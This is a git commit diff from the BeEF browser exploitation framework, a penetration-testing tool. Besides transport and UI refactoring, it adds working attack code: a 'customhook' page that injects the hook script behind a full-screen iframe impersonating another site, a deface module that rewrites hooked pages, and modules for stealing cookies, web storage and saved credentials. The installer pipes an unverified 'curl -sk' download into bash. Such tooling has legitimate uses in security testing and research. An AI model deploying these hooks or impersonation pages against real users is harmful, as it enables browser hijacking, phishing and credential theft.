Merge remote-tracking branch 'upstream/master'. WS: added stringifying command results in beef.net.send

This commit is contained in:
antisnatchor
2012-05-19 19:19:03 +01:00
73 changed files with 1171 additions and 132 deletions

View File

@@ -165,10 +165,32 @@ task :cde do
sh "make";
Dir.chdir "..";
puts "\nCreating CDE Package...\n";
sh "./CDE/cde ruby beef";
sleep (1);
sh "bundle install"
Rake::Task['cde_beef_start'].invoke
Rake::Task['beef_stop'].invoke
puts "\nCleaning Up...\n";
sh "rm -r CDE";
sleep (2);
sh "rm -rf CDE";
puts "\nCDE Package Created...\n";
end
################################
# CDE/BeEF environment set up
@beef_process_id = nil;
task :cde_beef_start => 'beef' do
printf "Starting CDE BeEF (wait 10 seconds)..."
@beef_process_id = IO.popen("./CDE/cde ruby beef -x 2> /dev/null", "w+")
delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays.each do |i| # delay for 10 seconds
printf '.'
sleep (i)
end
puts '.'
end
################################

View File

@@ -41,10 +41,10 @@ beef:
# Prefer WebSockets over XHR-polling when possible.
websocket:
enable: true
enable: false
secure: false # use WebSocketSecure
port: 11989
alive_timer: 5000 # poll BeEF every 5 seconds
alive_timer: 1000 # poll BeEF every second
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
web_server_imitation:

View File

@@ -597,29 +597,37 @@ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefo
* Returns the list of plugins installed in the browser.
*/
getPlugins: function() {
var results = '';
if (this.isIE())
{
results = this.getPluginsIE();
} else {
if (navigator.plugins && navigator.plugins.length > 0)
{
var length = navigator.plugins.length;
for (var i=0; i < length; i++)
{
if (i != 0)
results += '\n';
if(beef.browser.isFF()){ //FF returns exact plugin versions
results += navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;
}else{ // Webkit and Presto (Opera) doesn't support the version attribute, and
// sometimes they store plugin version in description (Real, Adobe)
results += navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
}
}
} else {
results = 'navigator.plugins is not supported in this browser!';
}
}
var results;
Array.prototype.unique = function() {
var o = {}, i, l = this.length, r = [];
for(i=0; i<l;i+=1) o[this[i]] = this[i];
for(i in o) r.push(o[i]);
return r;
};
// Internet Explorer
if (this.isIE()) this.getPluginsIE();
// All other browsers that support navigator.plugins
else if (navigator.plugins && navigator.plugins.length > 0) {
results = new Array();
for (var i=0; i < navigator.plugins.length; i++) {
// Firefox returns exact plugin versions
if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;
// Webkit and Presto (Opera)
// Don't support the version attribute
// Sometimes store the version in description (Real, Adobe)
else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
}
results = results.unique().toString();
// All browsers that don't support navigator.plugins
} else results = 'navigator.plugins is not supported in this browser!';
// Return results
return results;
},

View File

@@ -18,9 +18,15 @@
beef.encode.json = {
stringify: function(o) {
if (typeof(JSON) == 'object' && JSON.stringify)
return JSON.stringify(o);
if (typeof(JSON) == 'object' && JSON.stringify) {
// Error on stringifying cylcic structures caused polling to die
try {
s = JSON.stringify(o);
} catch(error) {
// TODO log error / handle cyclic structures?
}
return s;
}
var type = typeof(o);
if (o === null)

View File

@@ -92,10 +92,11 @@ beef.net = {
}
else {
try {
beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid + '", "result":"' + beef.encode.base64.encode(results) + '","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
'", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
'","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
}
catch (e) {
//todo this is necessary because at start could happened that ws in not still up and the browser try to send back browser info via websocket and failed
this.queue(handler, cid, results, callback);
this.flush();
}
@@ -184,14 +185,14 @@ beef.net = {
* according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
* This will turn POSTs into GETs for remote-domain requests.
*/
if (method == "POST") {
$j.ajaxSetup({
dataType:dataType
});
} else { //GET, HEAD, ...
$j.ajaxSetup({
dataType:'script'
});
if (method == "POST"){
$j.ajaxSetup({
dataType: dataType
});
} else {
$j.ajaxSetup({
dataType: 'script'
});
}
//build and execute the request
@@ -299,11 +300,16 @@ beef.net = {
});
}
$j.ajax({type:method,
dataType:'script', // this is required for bugs in IE so data can be transfered back to the server
url:url,
headers:headers,
timeout:(timeout * 1000),
// this is required for bugs in IE so data can be transfered back to the server
if ( beef.browser.isIE() ) {
dataType = 'script'
}
$j.ajax({type: method,
dataType: dataType,
url: url,
headers: headers,
timeout: (timeout * 1000),
// needed otherwise jQuery always adds:
// Content-type: application/xml
@@ -337,11 +343,31 @@ beef.net = {
complete:function (xhr, textStatus) {
// cross-domain request
if (cross_domain) {
response.status_code = -1;
response.status_text = "crossdomain";
response.port_status = "crossdomain";
response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
response.port_status = "crossdomain";
if (xhr.status != 0) {
response.status_code = xhr.status;
} else {
response.status_code = -1;
}
if (textStatus) {
response.status_text = textStatus;
} else {
response.status_text = "crossdomain";
}
if (xhr.getAllResponseHeaders()) {
response.headers = xhr.getAllResponseHeaders();
} else {
response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
}
if (!response.response_body) {
response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
}
} else {
// same-domain request
response.status_code = xhr.status;

View File

@@ -24,12 +24,12 @@ module BeEF
# @param [Object] command Command object
# @param [Object] hooked_browser Hooked Browser object
def add_command_instructions(command, hooked_browser)
(print_error "hooked_browser is nil"; return) if hooked_browser.nil?
(print_error "hooked_browser.session is nil"; return) if hooked_browser.session.nil?
(print_error "hooked_browser is nil"; return) if command.nil?
(print_error "hooked_browser.command_module_id is nil"; return) if command.command_module_id.nil?
config = BeEF::Core::Configuration.instance
# @note get the command module
command_module = BeEF::Core::Models::CommandModule.first(:id => command.command_module_id)
(print_error "command_module is nil"; return) if command_module.nil?
@@ -39,7 +39,7 @@ module BeEF
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
else
key = BeEF::Module.get_key_by_database_id(command.command_module_id)
command_module = BeEF::Core::Command.const_get(BeEF::Core::Configuration.instance.get("beef.module.#{key}.class")).new(key)
command_module = BeEF::Core::Command.const_get(config.get("beef.module.#{key}.class")).new(key)
end
command_module.command_id = command.id
@@ -48,11 +48,11 @@ module BeEF
command_module.pre_send
build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty?
let= BeEF::Core::Websocket::Websocket.instance
ws = BeEF::Core::Websocket::Websocket.instance
#todo antisnatchor: remove this gsub crap adding some hook packing.
if let.getsocket(hooked_browser.session)
funtosend=command_module.output.gsub('//
if config.get("beef.http.websocket.enable") && ws.getsocket(hooked_browser.session)
content = command_module.output.gsub('//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
@@ -67,7 +67,7 @@ module BeEF
// See the License for the specific language governing permissions and
// limitations under the License.
//', "")
let.sent(funtosend, hooked_browser.session)
ws.send(content, hooked_browser.session)
else
@body << command_module.output + "\n\n"
end

View File

@@ -27,6 +27,7 @@ module BeEF
@@activeSocket= Hash.new
@@lastalive= Hash.new
@@config = BeEF::Core::Configuration.instance
MOUNTS = BeEF::Core::Server.instance.mounts
def initialize
port = @@config.get("beef.http.websocket.port")
@@ -51,8 +52,20 @@ module BeEF
hooked_browser.lastseen = Time.new.to_i
hooked_browser.count!
hooked_browser.save
#Check if new modules need to be sent
zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }
#@todo antisnatchor:
#@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions
#Check if new forged requests need to be sent (Requester/TunnelingProxy)
dhook = BeEF::Extension::Requester::API::Hook.new
dhook.requester_run(hooked_browser, '')
#Check if new XssRays scan need to be started
xssrays = BeEF::Extension::Xssrays::API::Scan.new
xssrays.start_scan(hooked_browser, '')
end
else
#json recv is a cmd response decode and send all to
@@ -83,7 +96,7 @@ module BeEF
#@note send a function to hooked and ws browser
#@param [String] fn the module to execute
#@param [String] session the hooked browser session
def sent (fn, session)
def send (fn, session)
@@activeSocket[session].send(fn)
end
@@ -99,8 +112,21 @@ module BeEF
(print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(data["cid"])
(print_error "command name is empty"; return) if data["handler"].empty?
(print_error "command results are empty"; return) if command_results.empty?
BeEF::Core::Models::Command.save_result(hooked_browser, data["cid"],
@@config.get("beef.module.#{data["handler"].gsub("/command/", "").gsub(".js", "")}.name"), command_results)
handler = data["handler"]
if handler.match(/command/)
BeEF::Core::Models::Command.save_result(hooked_browser, data["cid"],
@@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results)
else #processing results from extensions, call the right handler
data["beefhook"] = hooked_browser
data["results"] = JSON.parse(Base64.decode64(data["result"]))
if MOUNTS.has_key?(handler)
if MOUNTS[handler].class == Array and MOUNTS[handler].length == 2
MOUNTS[handler][0].new(data, MOUNTS[handler][1])
else
MOUNTS[handler].new(data)
end
end
end
end
end
end

View File

@@ -33,11 +33,20 @@ module BeEF
def self.get_categories
categories = []
BeEF::Core::Configuration.instance.get('beef.module').each {|k,v|
if not categories.include?(v['category'])
categories << v['category']
flatcategory = ""
if v['category'].kind_of?(Array)
# Therefore this module has nested categories (sub-folders), munge them together into a string with '/' characters, like a folder.
v['category'].each {|cat|
flatcategory << cat + "/"
}
else
flatcategory = v['category']
end
if not categories.include?(flatcategory)
categories << flatcategory
end
}
return categories.sort
return categories.sort.uniq #This is now uniqued, because otherwise the recursive function to build the json tree breaks if there are duplicates.
end
# Get all modules currently stored in the database

View File

@@ -427,8 +427,28 @@ class Modules < BeEF::Extension::AdminUI::HttpController
return BeEF::Module.support(mod, {'browser' => BD.get(hook_session_id, 'BrowserName'), 'ver' => BD.get(hook_session_id, 'BrowserVersion'), 'os' => [BD.get(hook_session_id, 'OsName')]})
end
def update_command_module_tree(tree, cmd_category, cmd_icon_path, cmd_status, cmd_name, cmd_id)
# If we're adding a leaf to the command tree, and it's in a subfolder, we need to recurse
# into the tree to find where it goes
def update_command_module_tree_recurse(tree,category,leaf)
working_category = category.shift
tree.each {|t|
if t['text'].eql? working_category and category.count > 0
#We have deeper to go
update_command_module_tree_recurse(t['children'],category,leaf)
elsif t['text'].eql? working_category
#Bingo
t['children'].push(leaf)
break
end
}
#return tree
end
#Add the command to the tree
def update_command_module_tree(tree, cmd_category, cmd_icon_path, cmd_status, cmd_name, cmd_id)
# construct leaf node for the command module tree
leaf_node = {
'text' => cmd_name,
@@ -439,24 +459,99 @@ class Modules < BeEF::Extension::AdminUI::HttpController
}
# add the node to the branch in the command module tree
tree.each {|x|
if x['text'].eql? cmd_category
x['children'].push( leaf_node )
break
end
}
if cmd_category.is_a?(Array)
#The category is an array, therefore it's a sub-folderised category
cat_copy = cmd_category.dup #Don't work with the original array, because, then it breaks shit
update_command_module_tree_recurse(tree,cat_copy,leaf_node)
else
#original logic here, simply add the command to the tree.
tree.each {|x|
if x['text'].eql? cmd_category
x['children'].push( leaf_node )
break
end
}
end
end
#Recursive function to build the tree now with sub-folders
def build_recursive_tree(parent,input)
cinput = input.shift.chomp('/')
if cinput.split('/').count == 1 #then we have a single folder now
if parent.detect {|p| p['text'] == cinput}.nil?
parent << {'text' => cinput, 'cls' => 'folder', 'children' => []}
else
if input.count > 0
parent.each {|p|
if p['text'] == cinput
p['children'] = build_recursive_tree(p['children'],input)
end
}
end
end
else
#we have multiple folders
newinput = cinput.split('/')
newcinput = newinput.shift
if parent.detect {|p| p['text'] == newcinput }.nil?
fldr = {'text' => newcinput, 'cls' => 'folder', 'children' => []}
parent << build_recursive_tree(fldr['children'],newinput)
else
parent.each {|p|
if p['text'] == newcinput
p['children'] = build_recursive_tree(p['children'],newinput)
end
}
end
end
if input.count > 0
return build_recursive_tree(parent,input)
else
return parent
end
end
#Recursive function to sort all the parent's children
def sort_recursive_tree(parent)
# sort the children nodes by status and name
parent.each {|x|
#print_info "Sorting: " + x['children'].to_s
if x.is_a?(Hash) and x.has_key?('children')
x['children'] = x['children'].sort_by {|a|
fldr = a['cls'] ? a['cls'] : 'zzzzz'
"#{fldr}#{a['status']}#{a['text']}"
}
x['children'].each {|c|
sort_recursive_tree([c]) if c.has_key?('cls') and c['cls'] == 'folder'
}
end
}
end
#Recursive function to retitle folders with the number of children
def retitle_recursive_tree(parent)
# append the number of command modules so the branch name results in: "<category name> (num)"
parent.each {|command_module_branch|
if command_module_branch.is_a?(Hash) and command_module_branch.has_key?('children')
num_of_command_modules = command_module_branch['children'].length
command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
command_module_branch['children'].each {|c|
retitle_recursive_tree([c]) if c.has_key?('cls') and c['cls'] == 'folder'
}
end
}
end
# Returns the list of all command_modules for a TreePanel in the interface.
def select_command_modules_tree
blanktree = []
tree = []
BeEF::Modules.get_categories.each { |c|
tree.push({
'text' => c,
'cls' => 'folder',
'children' => []
})
}
#Due to the sub-folder nesting, we use some really badly hacked together recursion
#Note to the bored - if someone (anyone please) wants to refactor, I'll buy you cookies. -x
tree = build_recursive_tree(blanktree,BeEF::Modules.get_categories)
BeEF::Modules.get_enabled.each{|k, mod|
# get the hooked browser session id and set it in the command module
@@ -508,16 +603,11 @@ class Modules < BeEF::Extension::AdminUI::HttpController
# sort the parent array nodes
tree.sort! {|a,b| a['text'] <=> b['text']}
# sort the children nodes by status and name
tree.each {|x| x['children'] =
x['children'].sort_by {|a| [a['status'],a['text']]}
}
sort_recursive_tree(tree)
retitle_recursive_tree(tree)
# append the number of command modules so the branch name results in: "<category name> (num)"
tree.each {|command_module_branch|
num_of_command_modules = command_module_branch['children'].length
command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
}
# return a JSON array of hashes
@body = tree.to_json

View File

@@ -0,0 +1,38 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
module BeEF
module Extension
module Customhook
module RegisterHttpHandlers
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'pre_http_start')
def self.mount_handler(beef_server)
configuration = BeEF::Core::Configuration.instance
beef_server.mount(configuration.get("beef.extension.customhook.customhook_path"), BeEF::Extension::Customhook::Handler.new)
end
def self.pre_http_start(beef_server)
configuration = BeEF::Core::Configuration.instance
print_success "Successfully mounted a custom hook point"
print_more "Mount Point: #{configuration.get('beef.extension.customhook.customhook_path')}\nLoading iFrame: #{configuration.get('beef.extension.customhook.customhook_target')}\n"
end
end
end
end
end

View File

@@ -0,0 +1,24 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
extension:
customhook:
enable: false
name: 'Custom Hook Point with iFrame Impersonation'
customhook_path: "/yougotchipmunked"
customhook_target: "http://www.chipmunks.com"
customhook_title: "Alvin and the Chipmunks.."

View File

@@ -0,0 +1,33 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
module BeEF
module Extension
module Customhook
extend BeEF::API::Extension
@short_name = 'customhook'
@full_name = 'Custom Hook Point with iFrame Impersonation'
@description = 'An auto-hook and full-screen iframe - demonstrating extension creation and social engineering attacks'
end
end
end
require 'extensions/customhook/api'
require 'extensions/customhook/handler'

View File

@@ -0,0 +1,61 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
module BeEF
module Extension
module Customhook
class Handler
def call(env)
@body = ''
@request = Rack::Request.new(env)
@params = @request.query_string
@response = Rack::Response.new(body=[], 200, header={})
config = BeEF::Core::Configuration.instance
eruby = Erubis::FastEruby.new(File.read(File.dirname(__FILE__)+'/html/index.html'))
@body << eruby.evaluate({'customhook_target' => config.get("beef.extension.customhook.customhook_target"),
'customhook_title' => config.get("beef.extension.customhook.customhook_title")})
@response = Rack::Response.new(
body = [@body],
status = 200,
header = {
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0',
'Content-Type' => 'text/html',
'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'POST, GET'
}
)
end
private
# @note Object representing the HTTP request
@request
# @note Object representing the HTTP response
@response
end
end
end
end

View File

@@ -0,0 +1,18 @@
<html>
<head>
<title><%= @customhook_title %></title>
<script>
var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" type="text/javascript"><\/script>';
document.write(commandModuleStr);
</script>
</head>
<body>
<script>
setTimeout("beef.dom.createIframe('fullscreen','get',{'src':'<%= @customhook_target %>'},{},null)",2000);
document.body.scroll = "no";
document.documentElement.style.overflow = 'hidden';
//Porco dio - and away we go!
</script>
</body>
</html>

View File

@@ -82,10 +82,10 @@ module BeEF
:path => uri.path,
:request_date => Time.now,
:hooked_browser_id => self.get_tunneling_proxy,
:allow_cross_domain => "false"
:allow_cross_domain => "true"
)
http.save
print_debug("[PROXY] --> Forwarding request ##{http.id}: domain[#{http.domain}:#{http.port}], method[#{http.method}], path[#{http.path}]")
print_debug("[PROXY] --> Forwarding request ##{http.id}: domain[#{http.domain}:#{http.port}], method[#{http.method}], path[#{http.path}], cross domain[#{http.allow_cross_domain}]")
# Wait for the HTTP response to be stored in the db.
# TODO: re-implement this with EventMachine or with the Observer pattern.

View File

@@ -34,18 +34,45 @@ module BeEF
}
return if output.empty?
config = BeEF::Core::Configuration.instance
ws = BeEF::Core::Websocket::Websocket.instance
# Build the BeEFJS requester component
build_missing_beefjs_components 'beef.net.requester'
# todo antisnatchor: prevent sending "content" multiple times. Better leaving it after the first run, and don't send it again.
#todo antisnatchor: remove this gsub crap adding some hook packing.
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)
content = File.read(find_beefjs_component_path 'beef.net.requester').gsub('//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//', "")
add_to_body output
ws.send(content + @body,hb.session)
#if we use WebSockets, just reply wih the component contents
else # if we use XHR-polling, add the component to the main hook file
build_missing_beefjs_components 'beef.net.requester'
# Send the command to perform the requests to the hooked browser
add_to_body output
end
end
# Send the command to perform the requests to the hooked browser
def add_to_body(output)
@body << %Q{
beef.execute(function() {
beef.net.requester.send(
#{output.to_json}
);
});
}
beef.execute(function() {
beef.net.requester.send(
#{output.to_json}
);
});
}
end
#

View File

@@ -27,7 +27,7 @@ module BeEF
#
def start_scan(hb, body)
@body = body
config = BeEF::Core::Configuration.instance
hb = BeEF::Core::Models::HookedBrowser.first(:id => hb.id)
#TODO: we should get the xssrays_scan table with more accuracy, if for some reasons we requested
#TODO: 2 scans on the same hooked browsers, "first" could not get the right result we want
@@ -40,23 +40,52 @@ module BeEF
xs.update(:is_started => true)
# build the beefjs xssrays component
build_missing_beefjs_components 'beef.net.xssrays'
# the URI of the XssRays handler where rays should come back if the vulnerability is verified
beefurl = BeEF::Core::Server.instance.url
cross_domain = xs.cross_domain
timeout = xs.clean_timeout
debug = BeEF::Core::Configuration.instance.get("beef.extension.xssrays.js_console_logs")
debug = config.get("beef.extension.xssrays.js_console_logs")
@body << %Q{
beef.execute(function() {
beef.net.xssrays.startScan('#{xs.id}', '#{hb.session}', '#{beefurl}', #{cross_domain}, #{timeout}, #{debug});
});
}
ws = BeEF::Core::Websocket::Websocket.instance
# todo antisnatchor: prevent sending "content" multiple times. Better leaving it after the first run, and don't send it again.
# todo antisnatchor: remove this gsub crap adding some hook packing.
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)
content = File.read(find_beefjs_component_path 'beef.net.xssrays').gsub('//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//', "")
add_to_body xs.id, hb.session, beefurl, cross_domain, timeout, debug
ws.send(content + @body,hb.session)
#if we use WebSockets, just reply wih the component contents
else # if we use XHR-polling, add the component to the main hook file
build_missing_beefjs_components 'beef.net.xssrays'
add_to_body xs.id, hb.session, beefurl, cross_domain, timeout, debug
end
print_debug("[XSSRAYS] Adding XssRays to the DOM. Scan id [#{xs.id}], started at [#{xs.scan_start}], cross domain [#{cross_domain}], clean timeout [#{timeout}], js console debug [#{debug}].")
end
def add_to_body(id, session, beefurl, cross_domain, timeout, debug)
@body << %Q{
beef.execute(function() {
beef.net.xssrays.startScan('#{id}', '#{session}', '#{beefurl}', #{cross_domain}, #{timeout}, #{debug});
});
}
end
end
end
end

View File

@@ -22,4 +22,4 @@ beef:
clean_timeout: 3000
cross_domain: true
# set js_console_logs to false when using BeEF in production (also because IE < 9 doesn't support the console object)
js_console_logs: false
js_console_logs: true

View File

@@ -18,6 +18,17 @@ clear
echo "======================================"
echo " BeEF Installer "
echo "======================================"
echo ""
echo "CAUTION: This installation script will install a number of BeEF dependencies including the Ruby-RVM environemnt and it's dependencies."
echo ""
echo "In rare cases, this may lead to unexpected behaviour or package conflicts on some systems."
echo ""
read -p "Are you sure you wish to continue (Y/n)? "
if [ "`echo ${REPLY} | tr [:upper:] [:lower:]`" == "n" ] ; then
exit;
fi
echo ""
echo "Detecting OS..";
@@ -52,7 +63,6 @@ if [ "$OS" == "Darwin" ]; then
bundle install
OK="yes"
cd beef
./beef
echo ""
@@ -69,17 +79,31 @@ if [ "$Distro" == "Debian" ]; then
echo "Debian/Ubuntu Detected"
echo "Installing Prerequisite Packages.."
sudo apt-get update
sudo apt-get install ruby1.9.1-dev build-essential libsqlite3-ruby libsqlite3-dev build-essential libsqlite3-ruby git libsqlite3-dev rake
sudo apt-get install curl git
sudo apt-get install build-essential openssl libreadline6 libreadline6-dev zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-0 libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev autoconf libc6-dev libncurses5-dev automake libtool bison subversion
bash < <(curl -sk https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer)
echo '[[ -s "$HOME/.rvm/scripts/rvm" ]] && . "$HOME/.rvm/scripts/rvm"' >> ~/.bashrc
source ~/.bashrc
source $HOME/.rvm/scripts/rvm
rvm install 1.9.2
rvm use 1.9.2 --default
echo "Downloading BeEF.."
git clone git://github.com/beefproject/beef.git
cd beef
echo "Installing Ruby Gems"
sudo gem install bundler
sudo bundle install
gem install bundler
bundle install
cd beef
./beef
OK="yes"
@@ -115,7 +139,6 @@ if [ "$Distro" == "RedHat" ]; then
source ~/.bash_profile
cd beef
./beef
OK="yes"
@@ -128,7 +151,7 @@ if [ "$Distro" == "RedHat" ]; then
fi
if [ "$OK" == "yes" ]; then
echo ""
else
echo ""
echo "======================================="

View File

@@ -17,7 +17,7 @@ beef:
module:
ajax_fingerprint:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Fingerprint Ajax"
description: "Fingerprint Ajax and JS libraries present on the hooked page."
authors: ["qswain"]

View File

@@ -17,7 +17,7 @@ beef:
module:
alert_dialog:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Create Alert Dialog"
description: "Sends an alert dialog to the hooked browser."
authors: ["wade", "bm"]

View File

@@ -14,7 +14,10 @@
// limitations under the License.
//
beef.execute(function() {
document.body.innerHTML = "<%= @deface_content %>";
document.title = "<%= @deface_title %>";
beef.browser.changeFavicon("<%= @deface_favicon %>");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Deface Successful");
});

View File

@@ -17,9 +17,9 @@ beef:
module:
deface_web_page:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Replace Content (Deface)"
description: "Overwrite the body of the page the hooked browser is on with the 'Deface Content' string."
description: "Overwrite the page, title and shortcut icon on the hooked page."
authors: ["antisnatchor"]
target:
user_notify: ['ALL']

View File

@@ -16,7 +16,11 @@
class Deface_web_page < BeEF::Core::Command
def self.options
configuration = BeEF::Core::Configuration.instance
favicon_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/ui/media/images/favicon.ico"
return [
{ 'name' => 'deface_title', 'description' => 'Page Title', 'ui_label' => 'New Title', 'value' => 'BeEF - The Browser Exploitation Framework Project', 'width'=>'200px' },
{ 'name' => 'deface_favicon', 'description' => 'Shortcut Icon', 'ui_label' => 'New Favicon', 'value' => favicon_uri, 'width'=>'200px' },
{ 'name' => 'deface_content', 'description' => 'Your defacement content', 'ui_label'=>'Deface Content', 'type' => 'textarea', 'value' =>'BeEF!', 'width' => '400px', 'height' => '100px' }
]
end

View File

@@ -17,7 +17,7 @@ beef:
module:
get_cookie:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Get Cookie"
description: "This module will retrieve the session cookie from the current page."
authors: ["bcoles"]

View File

@@ -17,7 +17,7 @@ beef:
module:
get_local_storage:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Get Local Storage"
description: "Extracts data from the HTML5 localStorage object."
authors: ["bcoles"]

View File

@@ -17,7 +17,7 @@ beef:
module:
get_page_html:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Get Page HTML"
description: "This module will retrieve the HTML from the current page."
authors: ["bcoles"]

View File

@@ -17,7 +17,7 @@ beef:
module:
get_page_links:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Get Page HREFs"
description: "This module will retrieve HREFs from the target page."
authors: ["vo"]

View File

@@ -17,7 +17,7 @@ beef:
module:
get_session_storage:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Get Session Storage"
description: "Extracts data from the HTML5 sessionStorage object."
authors: ["bcoles"]

View File

@@ -17,7 +17,7 @@ beef:
module:
get_stored_credentials:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Get Stored Credentials"
description: "This module retrieves saved username/password combinations from the login page on the hooked domain.<br /><br />It will fail if more than one set of domain credentials are saved in the browser."
authors: ["bcoles"]

View File

@@ -17,7 +17,7 @@ beef:
module:
link_rewrite:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Replace HREFs"
description: "This module will rewrite all the href attributes of all matched links."
authors: ["passbe"]

View File

@@ -17,7 +17,7 @@ beef:
module:
link_rewrite_sslstrip:
enable: true
category: "Hooked Domain"
category: ["Browser","Hooked Domain"]
name: "Replace HREFs (HTTPS)"
description: "This module will rewrite all the href attributes of HTTPS links to use HTTP instead of HTTPS. Links relative to the web root are not rewritten."
authors: ["bcoles"]

View File

@@ -0,0 +1,38 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
var somethingsomething = function() {
var fake_url = "<%= @fake_url %>";
var real_url = "<%= @real_url %>";
